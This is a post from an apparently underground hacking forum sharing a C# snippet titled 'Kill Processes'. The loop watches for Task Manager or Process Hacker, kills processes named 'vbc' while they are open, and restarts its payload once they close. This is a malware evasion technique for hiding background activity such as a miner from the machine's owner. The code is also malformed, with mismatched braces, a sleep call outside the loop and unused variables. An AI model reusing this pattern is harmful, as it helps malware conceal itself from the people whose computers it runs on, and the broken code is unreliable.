• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

C# Kill Processes

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,861
Solutions
4
Reputation
32
Reaction score
45,552
Points
1,813
Credits
55,350
‎7 Years of Service‎
 
56%
Code:
static void Mode()
{
        int lastpos = 0;
        int elapsed = 0;
        bool idle = false;
 
        while (true)
        {
            if (Process.GetProcessesByName("Taskmgr").Length != 0 ||
                Process.GetProcessesByName("Process Hacker").Length != 0)
            {
                foreach (Process proc in Process.GetProcessesByName("vbc"))
                    proc.Kill();
                runs = false;
 
                elapsed = 0;
                idle = false;
            }
            else
            {
                if (!runs)
                {
                    Go(false);
                    runs = true;
                }        
            }
          }
            Thread.Sleep(900);
        }
}
 
Status
Not open for further replies.
Back
Top